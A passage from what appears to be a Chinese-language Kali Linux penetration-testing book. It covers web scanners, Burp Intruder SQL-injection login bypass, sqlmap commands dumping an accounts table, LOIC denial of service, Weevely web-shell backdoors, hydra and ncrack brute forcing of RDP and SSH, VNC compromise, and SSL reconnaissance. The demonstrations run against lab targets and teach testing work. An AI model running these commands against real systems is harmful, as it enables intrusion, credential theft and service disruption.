选择最有效的工具存在相当大的复杂性。除了已列出的因素外,一些漏洞扫描仪还将启动适当的利用并支持后利用活动。对于我们的目的,我们将考虑所有扫描可利用弱点的工具为“漏洞扫描仪”。Kali 提供了对几种不同的漏洞扫描仪的访问,包括以下内容:

  • 扩展传统漏洞扫描仪的功能以包括网站和相关服务(Metasploit Framework 和 Websploit)

  • 扩展功能以支持 Web 服务漏洞扫描(OWASP Mantra)的非传统应用程序的扫描仪

  • 专门开发以支持网站和 Web 服务中的侦察和利用检测的扫描仪(Arachnid、Nikto、Skipfish、Vega、w3af 等)

扩展传统漏洞扫描仪的功能

这种类型的漏洞扫描仪的最佳示例是 Metasploit Framework of Rapid7 中打包的wmap模块。要使用此模块,您必须首先确保postgresql数据库服务已启动;使用以下命令:

root@kali:~# service postgresql start 

接下来,从命令提示符启动msfconsole并输入load wmap命令。与大多数框架应用程序一样,在命令提示符中输入help-h将显示可用于使用的命令。

管理目标站点,请使用wmap_sites命令。-a选项将目标的 IP 地址添加到应用程序的数据库中。-l选项提供了一个可用站点的列表,用于测试目标,如下面的截图所示:

扩展传统漏洞扫描器功能

选择目标后,测试人员现在可以使用以下命令运行wmap模块:

msf> wmap_run –e

上一个命令的执行显示在以下截图中:

扩展传统漏洞扫描器功能

执行此命令可能需要一些时间才能完成(这取决于网站页面的数量,以及网站的结构复杂性,以及所选模块操作以检测漏洞的方式)。

Metasploit 框架并不是为网站和网络服务的复杂性而设计的;这在使用该产品与使用专门为网站和网络服务设计的漏洞扫描器所得到的有限发现数量中是可见的。然而,由于它始终在更新,值得监控其扫描能力的变化。

Websploit应用程序还使用wmap模块。

扩展 Web 浏览器功能

Web 浏览器被设计用于与 Web 服务交互。因此,它们被选为漏洞评估和利用工具是很自然的。

这种工具集的最佳示例是 OWASP 的 Mantra——一个建立在 Firefox 网络浏览器上的第三方安全实用程序集。OWASP 的 Mantra 支持 Windows、Linux 和 Macintosh 测试系统,并提供支持以下活动的实用程序:

  • 信息收集:这些实用程序提供被动侦察,报告目标的物理位置,揭示底层站点技术,并搜索和测试站点的超链接

  • 编辑器:一组编辑、调试和监视 HTML、CSS 和 JavaScript 的实用程序

  • 代理:提供代理管理工具的实用程序,包括 FoxyProxy,这是一个方便在代理之间切换的工具

  • 网络实用程序:这些实用程序提供 FTP 和 SSH 通信的客户端,并简化 DNS 缓存管理。

  • 应用程序审计:这些工具在各种用户代理之间切换,访问 Web 开发人员工具,控制每个站点发送的 HTTP 引用者,查找 SQL 注入和 XSS 漏洞,允许测试人员篡改数据,并访问 Websecurify 工具

  • 杂项:生成脚本,管理会话和下载,并访问加密、解密和哈希标签功能

Mantra 框架可用于促进对网站的半自动侦察。

在以下截图中显示的示例中,Mutillidae 登录页面已在 Mantra 浏览器中打开。使用下拉菜单(从右上角的蓝色标志激活),从可用工具中选择了 SQL Inject Me 应用程序,并显示在左侧面板中。

扩展 Web 浏览器功能

特定于 Web 服务的漏洞扫描器

漏洞扫描器是自动化工具,用于爬行应用程序以识别已知漏洞的签名。

Kali 预装了几种不同的漏洞扫描器;可以通过导航到Kali Linux | Web 应用程序 | Web 漏洞扫描器来访问它们。渗透测试人员通常会针对同一目标使用两到三个综合扫描器,以确保有效的结果。请注意,一些漏洞扫描器还包括攻击功能。

漏洞扫描器相当“喧闹”,通常会被受害者检测到。然而,扫描经常被忽略作为互联网上的常规后台探测的一部分。事实上,一些攻击者已知会对目标发起大规模扫描,以掩盖真正的攻击或诱使防御者禁用检测系统,以减少他们需要管理的报告的涌入。

对最重要的漏洞扫描器进行快速调查包括以下内容:

应用 描述
Arachnid 一个分析扫描期间接收的 HTTP 响应以验证响应并消除误报的开源 Ruby 框架。
GoLismero 它映射 Web 应用程序并检测常见的漏洞。结果以 TXT、CVS、HTML 和 RAW 格式保存。
Nikto 一个基于 Perl 的开源扫描器,允许 IDS 回避和用户更改扫描模块;然而,这个“原始”的网络扫描器开始显露其年龄,不如一些更现代的扫描器准确。
Skipfish 这个扫描器完成递归爬行和基于字典的爬行,生成一个带有来自其他漏洞扫描输出的交互式站点地图。
Vega 这是一个基于 GUI 的开源漏洞扫描器。由于它是用 Java 编写的,它是跨平台的(Linux、OS X 和 Windows),并且可以由用户定制。
w3af 这个扫描器为全面的 Python 测试平台提供了图形和命令行界面。它映射目标网站并扫描漏洞。这个项目被 Rapid7 收购,所以将来会与 Metasploit 框架更紧密地集成。
Wapiti 这是一个基于 Python 的开源漏洞扫描器。
Webscarab 这是 OWASP 基于 Java 的框架,用于分析 HTTP 和 HTTPS 协议。它可以充当拦截代理、模糊器和简单的漏洞扫描器。
Webshag 这是一个基于 Python 的网站爬虫和扫描器,可以利用复杂的 IDS 回避。
Websploit 这是一个针对有线和无线网络攻击的框架。

大多数测试人员开始使用 Nikto 来测试网站,这是一个简单的扫描器(特别是在报告方面),通常提供准确但有限的结果;这个扫描的样本输出如下图所示:

Web-service-specific vulnerability scanners

接下来要使用更先进的扫描器,扫描更多的漏洞;反过来,它们可能需要更长的时间才能完成。复杂的漏洞扫描(由要扫描的页面数量和站点的复杂性决定,可能包括允许用户输入的多个页面,如搜索功能或收集用户数据的表单,用于后端数据库)通常需要几天的时间才能完成。

根据发现的已验证漏洞数量,最有效的扫描器之一是 Subgraph 的 Vega。如下图所示,它扫描目标并将漏洞分类为高、中、低或信息。测试人员可以点击识别的结果“深入”到具体的发现。测试人员还可以修改用 Java 编写的搜索模块,以便专注于特定的漏洞或识别新的漏洞。

Web-service-specific vulnerability scanners

另一个值得使用的扫描器是Web 应用攻击和审计框架w3af),这是一个基于 Python 的开源 Web 应用安全扫描器。它提供了预配置的漏洞扫描,支持 OWASP 等标准。扫描器的广泛选项是有代价的——它花费的时间比其他扫描器长得多,并且在长时间的测试期间容易出现故障。下面的屏幕截图显示了一个配置为对样本网站进行全面审计的 w3af 实例:

Web-service-specific vulnerability scanners

Kali 还包括一些特定应用的漏洞扫描器。例如,WPScan 专门针对WordPress CMS应用程序。

使用客户端代理进行安全测试

与自动化漏洞扫描器不同,客户端代理需要大量人工交互才能发挥作用。客户端代理拦截 HTTP 和 HTTPS 流量,允许渗透测试人员检查用户和应用程序之间的通信。它允许测试人员复制数据或与发送到应用程序的请求进行交互。

Kali 自带了几个客户端代理,包括 Burp Suite、OWASP ZAP、Paros、ProxyStrike、漏洞扫描器 Vega 和 WebScarab。经过广泛测试,我们已经开始依赖 Burp Proxy,并将 ZAP 作为备用工具。

Burp 主要用于拦截 HTTP(S)流量;然而,它是一个更大工具套件的一部分,具有几个额外的功能,包括:

  • 一个能够识别网站的应用程序感知蜘蛛

  • 漏洞扫描器,包括一个用于测试会话令牌随机性的顺序器,以及一个用于在客户端和网站之间操纵和重新发送请求的重复器(漏洞扫描器未包含在 Kali 打包的 Burp 代理的免费版本中)

  • 一个可以用来发起定制攻击的入侵者工具(Kali 包含的免费版本工具有速度限制;如果购买了软件的商业版本,则这些限制将被移除)

  • 编辑现有插件或编写新插件以扩展可以使用的攻击数量和类型的能力

要使用 Burp,请确保您的网络浏览器配置为使用本地代理;通常,您需要调整网络设置以指定 HTTP 和 HTTPS 流量必须使用本地主机(127.0.0.1)的 8080 端口。

设置浏览器和代理一起工作后,手动映射应用程序。这是通过关闭代理拦截,然后浏览整个应用程序来完成的。跟踪每个链接,提交表单,并尽可能多地登录到网站的各个区域。额外的内容将从各种响应中推断出来。站点地图将在目标选项卡下的一个区域中填充(也可以通过右键单击站点并选择Spider This Host来使用自动化爬行;然而,手动技术给了测试人员深入了解目标的机会,并且可能识别需要避免的区域)。

目标映射完成后,通过选择站点地图中的分支并使用添加到范围命令来定义目标-范围。完成后,您可以使用显示过滤器隐藏站点地图上不感兴趣的项目。下面的截图显示了目标网站的站点地图:

使用客户端代理进行安全测试

爬行完成后,手动审查目录和文件列表,查看是否有任何看起来不属于公共网站的结构,或者无意中泄露的内容。例如,名为 admin、backup、documentation 或 notes 的目录应该进行手动审查。

使用单引号作为输入手动测试登录页面产生了一个错误代码,表明可能容易受到 SQL 注入攻击的影响;错误代码的示例返回如下截图所示:

使用客户端代理进行安全测试

代理的真正优势在于其拦截和修改命令的能力。对于这个特定的例子,我们将使用 Mutillidae 网站——这是作为 Metasploitable 测试框架的一部分安装的一个“破损”网站,用于执行绕过 SQL 注入认证的攻击。

要发动这种攻击,请确保 Burp 代理已配置为拦截通信,方法是转到代理选项卡,然后选择拦截子选项卡。单击拦截已打开按钮,如下一张屏幕截图所示。完成后,打开浏览器窗口,并输入<IP 地址>/mutillidae/index.php?page=login.php以访问 Mutillidae 登录页面。在名称和密码字段中输入变量,然后单击登录按钮。

如果返回到 Burp 代理,您会看到用户在网页表单中输入的信息已被拦截。

使用客户端代理测试安全性

单击操作按钮,然后选择发送到入侵者选项。打开主入侵者选项卡,您将看到四个子选项卡——目标位置有效载荷选项,如下一张屏幕截图所示。如果选择位置,您将看到从拦截信息中识别出的五个有效载荷位置。

使用客户端代理测试安全性

这种攻击将使用 Burp 代理的狙击手模式,它从测试人员提供的列表中获取单个输入,并将此输入逐个发送到单个有效载荷位置。在本例中,我们将针对用户名字段进行攻击,我们怀疑该字段基于返回的错误消息是易受攻击的。

为了定义有效载荷位置,我们选择子选项卡有效载荷

使用客户端代理测试安全性

要发动攻击,请从顶部菜单中选择入侵者,然后选择开始攻击。代理将迭代字典攻击所选有效载荷位置,作为合法的 HTTP 请求,并返回服务器的状态代码。如下一张屏幕截图所示,大多数选项产生200状态代码(请求成功);但是,一些数据返回302状态代码(找到请求;表示所请求的资源目前位于不同的 URI 下)。

使用客户端代理测试安全性

302状态表示成功的攻击,并且获取的数据可以用于成功登录到目标站点。

不幸的是,这只是对 Burp 代理及其功能的简要概述。Kali 附带的免费版本对许多测试任务已经足够;但是,严肃的测试人员(和攻击者)应考虑购买商业版本。

服务器漏洞利用

由于它们拥有广泛的“攻击面”(通信渠道、客户端软件、服务器操作系统、应用程序、中间件和后端数据库),Web 服务容易受到多种攻击类型的攻击。可能的攻击范围需要一本专门的书来描述;因此,我们只会展示一些类型,以突出 Kali 的功能。

在本示例中,我们将演示 Kali 如何用于对网络服务器发动拒绝服务(DoS)攻击。

一般来说,攻击提供 Web 服务的主机操作系统遵循先前描述的方法;但是,它们的架构特别容易受到 DoS 攻击。

Kali 包括几个被描述为压力测试应用程序的工具,因为它们模拟对服务器的高活动负载,以评估其对额外压力的应对能力。如果服务器或其应用程序失败,则它已遭受 DoS 攻击。

许多工具依赖于 IPv4 系统无法处理更新的 IPv6 协议(denail6、dos-new-ip6、flood_advertise6 等)。

然而,最成功的 DoS 攻击工具——低轨道离子炮LOIC)——必须通过以下步骤手动添加到 Kali 中:

  1. 使用apt-get install命令,安装以下软件包及其依赖项:mono-gmcsmono-mcsmonodevelopliblog4net-cil-dev

  2. 从 GitHub(github.com/NewEraCracker/LOIC/downloads)下载 LOIC 到一个单独的文件夹中。使用解压命令将压缩文件解压到文件夹中。

  3. 转到文件夹并使用以下命令编译应用程序:

mdtool build

  1. 应用程序的编译版本将位于/<path> bin/Debug/LOIC.exe目录中。

输入攻击参数后,LOIC 可以针对目标网站启动。攻击使用直观的 GUI 界面启动,如下截图所示:

服务器利用

特定应用程序的攻击

特定应用程序的攻击数量超过了针对特定操作系统的攻击;考虑到可能影响每个在线应用程序的错误配置、漏洞和逻辑错误,令人惊讶的是任何应用程序都可以被认为是“安全”的。我们将重点介绍一些针对 Web 服务的重要攻击。

暴力破解访问凭证

针对网站或其服务的最常见的初始攻击之一是针对访问认证的暴力破解攻击——猜测用户名和密码。这种攻击成功率很高,因为用户倾向于选择易记的凭据或重复使用凭据,而且系统管理员经常不控制多次访问尝试。

Kali 自带 hydra,一个命令行工具,以及带有 GUI 界面的 hydra-gtk。这两个工具允许测试人员针对指定的服务暴力破解或迭代可能的用户名和密码。支持多种通信协议,包括 FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC 等。以下截图显示了 hydra 使用暴力破解攻击来确定 HTTP 页面上的访问凭证:

暴力破解访问凭证

对数据库的注入攻击

网站中最常见且可利用的漏洞是注入漏洞,当受害网站不监控用户输入时,攻击者可以与后端系统进行交互。攻击者可以构造输入数据来修改或窃取数据库中的内容,将可执行文件放置到服务器上,或向操作系统发出命令。

评估 SQL 注入漏洞最有用的工具之一是sqlmap,这是一个 Python 工具,可以自动进行对 Firebird、Microsoft SQL、MySQL、Oracle、PostgreSQL、Sybase 和 SAP MaxDB 数据库的侦察和利用。

我们将演示对 Mutillidae 数据库的 SQL 注入攻击。第一步是确定 Web 服务器、后端数据库管理系统和可用的数据库。

启动一个 Metasploitable 虚拟机,并访问 Mutillidae 网站。完成后,查看网页,以确定接受用户输入的页面(例如,接受远程用户的用户名和密码的用户登录表单);这些页面可能容易受到 SQL 注入攻击。然后,打开 Kali,并从命令提示符输入以下内容(使用适当的目标 IP 地址):

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' --dbs 

Sqlmap 将返回数据,如下截图所示:

对数据库的注入攻击

最有可能存储应用程序数据的数据库是owasp10数据库;因此,我们将使用以下命令检查该数据库的所有表:

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' –D owasp10 --tables 

执行该命令后返回的数据显示在以下截图中:

对数据库的注入攻击

在枚举的六个表中,有一个名为accounts。我们将尝试从表的这一部分中转储数据。如果成功,帐户凭据将允许我们在进一步的 SQL 注入攻击失败时返回到数据库。要转储凭据,请使用以下命令:

root@kali:~# sqlmap -u 
  'http://192.168.75.129/mutillidae/index.php?page=user-
  info.php&username=admin&password=&user-info-php-submit-
  button=View+Account+Details' –D owasp10 – T accounts --dump 

对数据库的注入攻击

类似的攻击也可以用于数据库,以提取信用卡号码。

使用 Web 后门维持访问

一旦 Web 服务器及其服务被攻破,就很重要确保可以保持安全访问。通常使用 Web shell 来实现这一点——这是一个提供隐蔽后门访问并允许使用系统命令来促进后期利用活动的小型程序。

Kali 自带了几个 Web shell;在这里我们将使用一个名为Weevely的流行 PHP Web shell。

Weevely 模拟 Telnet 会话,并允许测试者或攻击者利用 30 多个模块进行后期利用任务,包括以下内容:

  • 浏览目标文件系统

  • 与受攻击系统之间的文件传输

  • 执行常见服务器配置错误的审计

  • 通过目标系统对 SQL 账户进行暴力破解

  • 生成反向 TCP shell

  • 在已经受到攻击的远程系统上执行命令,即使已经应用了 PHP 安全限制

最后,Weevely 努力隐藏 HTTP cookie 中的通信,以避免被检测。要创建 Weevely,请从命令提示符中发出以下命令:

root@kali:~# weevely generate <password> <path>

这将在根目录中创建文件weevely.php。在已经受到攻击的远程系统上执行命令,即使已经应用了 PHP 安全限制:

使用 Web 后门维持访问

使用文件上传漏洞或任何其他受损,包括可以访问 meterpreter 文件上传功能的漏洞,将weevely.php上传到受攻击的网站。

要与 Web shell 通信,请从命令提示符中发出以下命令,确保目标 IP 地址、目录和密码变量已更改以反映受攻击系统的情况:

root@kali:~# weevely http://<target IP address> <directory> 
  <password> 

在下面的屏幕截图示例中,我们已经验证了使用whoami命令(用于识别正确的目录)和ls命令(用于获取文件列表,再次确认连接源为weevely.php)。使用cat /etc/password命令查看密码。

使用 Web 后门维持访问

Web shell 还可以用于建立反向 shell 连接到测试者,使用 Netcat 或 Metasploit Framework 作为本地监听器。

总结

在本章中,我们从攻击者的角度审查了网站及其为授权用户提供的服务。我们应用了杀伤链视角来理解对 Web 服务的正确应用侦察和漏洞扫描。

介绍了几种不同的漏洞扫描器;我们重点是对现有扫描器进行修改以支持网站和 Web 服务的评估,使用基于浏览器的漏洞扫描器,以及专门设计用于评估网站及其服务的漏洞扫描器。我们只审查了少数几个利用,最后通过对专门用于 Web 服务的 Web shell 进行了审查。

在下一章中,我们将学习如何识别和攻击将用户连接到 Web 服务的远程访问通信。

第十章:利用远程访问通信

在第九章中,基于 Web 的应用程序的侦察和利用,我们对基于 Web 的应用程序应用了杀伤链方法。我们审查了侦察、漏洞扫描和利用方法,这些方法特别适用于网站和其他应用程序。我们还审查了评估基于 Web 的应用程序所需的独特工具,特别是客户端代理和后期利用工具,如 Web shell。

在本章中,我们将重点放在破坏互联网上已经广泛传播的设备和应用程序的远程访问通信上。

攻击者正在利用远程访问通信的普遍性来实现以下目标:

  • 利用现有的通信渠道直接远程访问目标系统

  • 拦截通信

  • 拒绝经过身份验证的用户访问常规通信,并强迫他们使用可能容易受到其他攻击的不安全通道

由于大多数用户认为他们正在使用“安全”的通信工具(甚至银行依赖 SSL 协议来保护在线银行业务),这些攻击可能对被攻击的通信以及受害者对其他在线通信的信任产生重大影响。

本章将重点放在侦察和利用杀伤链的阶段,因为它们与远程访问通信有关。它不涵盖诸如战争拨号、VoIP 和相关电话问题、高度专有的系统(如专门的亭台)以及值得拥有自己的书籍的复杂应用程序。

在本章结束时,您将学到以下内容:

  • 利用操作系统通信协议(RDP 和 SSH)

  • 利用远程访问应用程序(VNC)

  • 配置 Kali 进行安全套接层 v2 扫描

  • 对安全套接层进行侦察和利用,包括中间人和拒绝服务攻击。

  • 攻击虚拟专用网络

利用操作系统通信协议

一些协议以明文传输访问凭据(Telnet 和 FTP)。使用诸如 Wireshark 之类的数据包嗅探器将允许攻击者拦截和重用凭据。

然而,大多数远程访问协议,尤其是嵌入在操作系统中的协议,现在都受到访问控制和加密的保护。尽管这增加了一定程度的安全性,但它们仍然容易受到由于配置错误或使用较差的加密密钥而导致的攻击。在本节中,我们将研究其他可能被利用来破坏所谓安全通信渠道的风险。

破坏远程桌面协议

远程桌面协议RDP)是微软的专有通信协议,允许客户端使用图形界面连接到另一台计算机。尽管该协议是加密的,但如果攻击者猜到用户名和密码,就可以访问服务器。

注意

应该注意到,最常见的破坏 RDP 的方法是利用社交工程。用户被远程服务技术人员联系,说服用户需要远程访问以修复用户系统上的问题。针对 RDP 协议的恶意软件攻击也越来越普遍。

从测试人员(或攻击者)的角度来看,破坏目标的 RDP 服务的第一步是找到 RDP 服务器并确定所使用的加密强度。通常使用nmap等工具进行侦察,配置为扫描标准 RDP 端口 3389。

nmap工具现在包括专门的脚本,提供有关 RDP 的其他详细信息,包括加密配置。如果时间允许,且隐蔽性不是问题,应在初始扫描阶段使用这些脚本。调用枚举支持的加密协议的脚本的命令行如下:

root@kali:~# nmap – p 3389 –-script rdp-enum-encryption <IP>

上一个命令的执行结果如下截图所示:

破坏远程桌面协议

已经发现了一些 RDP 漏洞(尤其是 MS12-020),可以利用精心制作的数据包远程利用这些漏洞。

要确定当前版本的 RDP 是否存在漏洞,请使用适当的nmap脚本,通过调用以下命令行来执行:

root@kali:~# nmap –sV -p 3389 --script rdp-vuln-ms12-020 
  < IP> 

上一个命令的执行结果如下截图所示:

Compromising Remote Desktop Protocol

一旦使用nmap识别出一个易受攻击的系统,就可以利用 Metasploit Framework 的auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块来造成拒绝服务。

RDP 最常见的破解方法是使用基于最常见用户名和密码字典的暴力攻击(也可以使用诸如CeWLcrunch之类的工具构建特定目标的字典,使用这些字典的暴力攻击比使用通用字典的尝试更快,并且更隐蔽,因为它们生成的网络流量更少)。

Kali 提供了几个工具来暴力破解访问,包括hydramedusancrackpatator。通过测试,我们发现ncrack在速度和效果方面是最可靠的。

提示

常见用户名和密码列表可以从多个来源获取。大多数破解工具,特别是hydrancrackjohn(John the Ripper),都在应用程序的主目录中包含列表。测试人员还可以从在线来源下载各种类型的列表。从受损用户帐户派生的列表特别有用,因为它们反映了认证信息的真实世界使用情况。无论您使用哪个列表,您可能希望通过添加当前和以前员工的姓名(用于用户名)或使用诸如 CeWL 之类的工具创建的单词列表来个性化测试。

ncrack工具是一个高速身份验证破解工具,支持 FTP、HTTP(S)、POP3、RDP、SMB、SSH、Telnet 和 VNC 协议。可以使用以下命令从终端窗口调用它:

root@kali:~# ncrack -vv -U user.lst -P password.list
  <Taget IP>:<Target Port> 

上述命令的执行如下截图所示:

Compromising Remote Desktop Protocol

ncrack工具在大约 1700 秒内发现了所有用户的访问凭据。但所需的时间取决于使用的字典的总体大小以及在成功命中之前必须进行多少次猜测。

破解安全外壳

安全外壳SSH)协议是一种网络协议,用于在服务器和客户端之间的开放网络上建立加密通道。一般来说,公钥-私钥对允许用户登录系统而无需密码。公钥存在于所有需要安全连接的系统上,而用户保留私钥。认证是基于私钥的;SSH 会验证私钥与公钥。在目标系统上,公钥会与允许远程访问系统的授权密钥列表进行验证。当公钥不具有密码学强度并且可以被猜测时,这种被认为是安全的通信渠道会失败。

与 RDP 一样,SSH 容易受到猜测用户访问凭据的暴力攻击。在这个特定的例子中,我们将使用一个名为hydra的工具。hydra工具可能是最古老的暴力攻击工具,绝对是功能最丰富的工具。它还支持对最多目标协议的攻击。

hydra工具可以在Kali Linux | 密码攻击 | 在线攻击中找到,也可以直接从命令行调用。有两个版本的hydra:命令行版本(hydra)和 GUI 版本(hydra-gtk)。在这个例子中,我们将使用以下命令从命令行调用hydra

root@kali:~# hydra -s 22 -v -V -L <file path/name>
  -P <file path/name> -t 8 <Target IP><protocol> 

命令参数如下列表所述:

  • -s指定要使用的端口。虽然在打算使用默认端口时不需要输入它,但在这种情况下使用它可以消除歧义并加快测试速度。

  • -v-V选择报告的最大详细程度。

  • -L选择登录或用户名文件。

  • -P选择密码文件。

  • -t选择并行任务或连接的数量。数字越大,测试速度越快。但是,如果数字太大,可能会引入错误,并且会错过正确的密码。

以下屏幕截图显示了初始暴力攻击的详细输出:

妥协安全外壳

当使用字典成功登录时,hydra报告端口、协议、主机和登录凭据。然后它继续使用字典来识别其他可能的帐户。在以下截图的最顶部行中,Hydra 正确识别了一个具有DigitalDefence作为logindarkstar作为password的 SSH 帐户;截图还显示了 Hydra 尝试识别其他帐户的其他尝试。

妥协安全外壳

如果您知道密码配置,还可以使用hydra动态创建密码列表,使用以下命令:

root@kali:~# hydra –L user.lst –V –x 6:8:aA1 <IP address> SSH

上一个命令中使用的参数在以下列表中描述:

  • -x指示 Hydra 自动创建用于暴力攻击的密码。密码将根据-x后面的参数创建。

  • 6:8表示密码长度的最小值为六个字符,最大值为八个字符。

  • aA1将自动创建使用字母和数字的密码组合。它将使用所有小写字母(由a表示)和所有大写字母(由A表示),以及数字 0 到 9(由1表示)。

您还可以向生成的列表中添加特殊字符,但是需要在-x选项周围添加单引号,如下命令所示:

root@kali:~# -L user.lst –V –x '6:8:aA1 !@#$' <IP address> SSH

利用第三方远程访问应用程序

绕过系统协议以提供远程访问的应用程序曾经非常流行。尽管它们目前正在被在线服务如GoToMyPCLogMeIn所取代,但它们仍然很常见。此类程序的示例包括 pcAnywhere 和 VNC。

这些工具的实例可能存在于网络上,因为系统管理员的合法操作。然而,它们也可能存在是因为网络已经被入侵,攻击者想要一种远程访问网络的手段。

在以下示例中,我们将使用 Metasploit 框架的内置功能来妥协 VNC。

  1. 使用nmap在目标上找到远程访问软件。如下截图所示,VNC 通常在 TCP 端口5900上找到。利用第三方远程访问应用程序

  2. 使用终端窗口中的msfconsole命令激活 Metasploit 框架。从msf提示符,配置它以妥协 VNC,如下截图所示:利用第三方远程访问应用程序

  3. 启动run命令,如下截图所示,并观察成功运行:利用第三方远程访问应用程序

  4. 最后,一旦 Metasploit 确定了凭据,通过使用vncviewer登录到 VNC 客户端验证它们。从终端窗口的命令提示符中,输入以下内容:

root@kali:~# vncviewer <Target IP>

这将连接到远程主机并提示您输入适当的凭据。当认证成功时,将打开一个新窗口,让您远程访问目标系统。通过发出whoami查询验证您是否在目标系统上,如下截图所示,并请求系统的 ID 或 IP 地址:

利用第三方远程访问应用程序

攻击安全套接字层

安全套接字层SSL)及其后继者传输层安全TLS)是用于在互联网上提供安全通信的加密协议。这些协议已被广泛用于安全应用,如互联网消息传递和电子邮件、网页浏览和 IP 语音。

这些协议在互联网上无处不在,然而,它们起源于上世纪 90 年代中期,并且随着年龄的增长,它们越来越受到攻击。SSL 2.0 版本(1.0 版本从未公开发布)包含大量可以被利用的缺陷,如密钥控制不当和中间人攻击的弱点。尽管大多数用户已经实现了该协议的 3.0 版本或更新版本的 TLS,但配置错误的系统可能仍然允许使用较早的不安全版本。

配置 Kali 进行 SSLv2 扫描

在开始侦察阶段之前,请验证 Kali 是否已配置为扫描 SSL 版本 2 协议。在撰写本书时,情况并非如此。

从终端窗口输入以下命令:

root@kali:~# openssl_s_client -connect 
  www.opensecurityresearch.com:443 -ssl2 

如果返回unknown option -ssl2错误(如下面的屏幕截图所示),则需要进行额外的配置。

配置 Kali 进行 SSLv2 扫描

要应用修复,您必须使用以下步骤重新对 OpenSSL 应用程序进行打补丁(确保使用的路径反映了下载目录的使用):

  1. 使用以下命令安装quilt,这是一个用于管理应用程序源代码的多个补丁的程序:
root@kali:~# apt-get install devscripts quilt

  1. 下载openssl源代码,验证已应用的补丁,更新配置文件,然后重新构建应用程序。使用以下命令:
root@kali:~# apt-get source openssl
root@kali:~# cd openssl-1.0.1e
root@kali:~/openssl-1.0.1e# quilt pop -a

  1. 编辑openssl-1.0.1e/debian/patches/series文件,删除文件中的以下行:
ssltest_no_sslv2.patch

  1. 编辑openssl-1.0.1e/debian/rules文件,删除no-ssl2参数。然后,重新应用openssl的补丁。使用以下命令:
root@kali:~/openssl-1.0.1e# quilt push -a
root@kali:~/openssl-1.0.1e#  dch -n 'Allow SSLv2'

  1. 完成后,重新构建openssl软件包,然后重新安装。可以使用以下命令执行此步骤:
root@kali:~/openssl-1.0.1e# dpkg-source  --commit
root@kali:~/openssl-1.0.1e# debuild -uc -us
root@kali:~/openssl-1.0.1e# cd /root
root@kali:~# dpkg -i *ssl*.deb

  1. 确认已成功应用补丁,重新发出使用 SSLv2 连接的命令,如下面的屏幕截图所示:配置 Kali 进行 SSLv2 扫描

依赖于openssl的 Kali 脚本,特别是sslscan,将需要重新编译。要重新编译,首先下载源代码,然后重新构建。完成后,使用以下命令重新安装:

root@kali:~# apt-get source sslscan
root@kali:~# cd sslscan-1.8.2
root@kali:~/sslscan-1.8.2# debuild -uc -us
root@kali:~/sslscan-1.8.2# cd /root
rootl@kali:~# dpkg -i *sslscan*.deb

Kali 对 SSLv2 的问题可能在将来的版本中得到解决,因此,在测试 SSL 连接之前,请先验证这一点。

SSL 连接的侦察

在评估 SSL 连接时,侦察阶段仍然很重要,特别是在审查以下项目时:

  • 用于识别建立安全 SSL 连接的各方的x.509证书

  • 正在使用的加密类型

  • 配置信息,例如是否允许 SSL 会话的自动重新协商

SSL 证书可以提供可能用于促进社会工程的信息。

更频繁地,测试人员或攻击者想要确定证书是否有效。无效的证书可能是由于检查签名时出现错误、证书链断裂、证书中指定的域与系统不匹配,或者证书已过期、被吊销或已知已被 compromise。

如果用户之前接受了无效证书,他们很可能会接受新的无效证书,这会使攻击者的工作变得更加容易。

用于保护 SSL 连接的加密类型尤为重要。加密密码分为以下几类:

  • 空密码: 这些密码用于验证传输的真实性和/或完整性。因为没有应用加密,它们不提供任何安全性。

  • 弱密码: 这是一个用来描述所有密钥长度为 128 位或更少的密码的术语。使用Diffie-Hellman 算法进行密钥交换的密码也可能被认为是弱的,因为它们容易受到中间人攻击的影响。由于碰撞攻击,MD5 哈希的使用也可能被认为是弱的。最近对 RC4 的攻击也对其持续使用提出了质疑。

  • 强密码: 这些是超过 128 位的密码。目前,接受的最安全选项是具有 256 位密钥的 AES 加密。如果可能的话,应该与 Galois/Counter 模式一起使用,这是一种现代的块密码,支持认证和加密。

SSL 和 TLS 依赖于密码套件(特定的身份验证、加密和消息认证码算法的组合)来为每个连接建立安全设置。有 30 多种这样的套件,为了满足每个安全需求而选择最佳选项的复杂性经常导致用户默认选择不太安全的选项。因此,每个 SSL 和 TLC 连接都必须经过彻底测试。

要对 SSL 连接进行侦察,使用nmap或 SSL 特定应用的 NSE 模块。nmap NSE 模块在下表中描述。

Nmap NSE 模块 模块功能
ssl-cert 检索服务器的 SSL 证书。返回的信息量取决于详细级别(无,-v-vv)。
ssl-date 从其 TLS ServerHello 响应中检索目标主机的日期和时间。
ssl-enum-ciphers 反复发起 SSL 和 TLS 连接,每次尝试一个新的密码,并记录主机是否接受或拒绝它。密码显示具有强度评级。这是一种高度侵入性的扫描,可能会被目标阻止。
ssl-google-cert-catalog 查询谷歌的证书目录,以获取与从目标检索的 SSL 证书相关的信息。它提供了谷歌对证书的认识时间和持续时间。如果证书未被谷歌认可,可能是可疑/虚假的。
ssl-known-key 检查主机使用的 SSL 证书是否具有与已知的受损或有缺陷的密钥数据库匹配的指纹。目前,它使用 LittleBlackBox 数据库。但是,可以使用任何指纹数据库。
sslv2 确定服务器是否支持已过时且不太安全的 SSL 版本 2,以及支持哪些密码。

要从命令行调用单个脚本,请使用以下命令:

root@kali:~# nmap --script <script name> -p 443 <Target IP>

在以下示例中,使用-vv选项调用了ssl-cert脚本以获得最大详细信息。来自此脚本的数据显示在以下截图中:

SSL 连接的侦察

在侦察期间,测试人员可以选择使用以下命令启动所有 SLL 特定模块:

root@kali:~# nmap --script "ssl*" <IP address>

Kali 专用于 SSL 和 TLS 的侦察和攻击工具可以从命令行调用,也可以通过导航到Kali Linux | 信息收集 | SSL 分析菜单中选择。这些工具在下表中总结:

工具 功能
sslcaudit 自动化测试 SSL 和 TLS 客户端,以确定其抵抗中间人攻击的能力。
ssldump 对 SSLv3 和 TLS 通信进行网络协议分析。如果提供了适当的加密密钥,它将解密 SSL 流量并以明文显示。
sslscan 查询 SSL 服务以确定支持哪些密码。输出包括首选的 SSL 密码,并以文本和 XML 格式显示。
sslsniff 在特定局域网上对所有 SSL 连接启用中间人攻击条件,动态为正在访问的域生成证书。
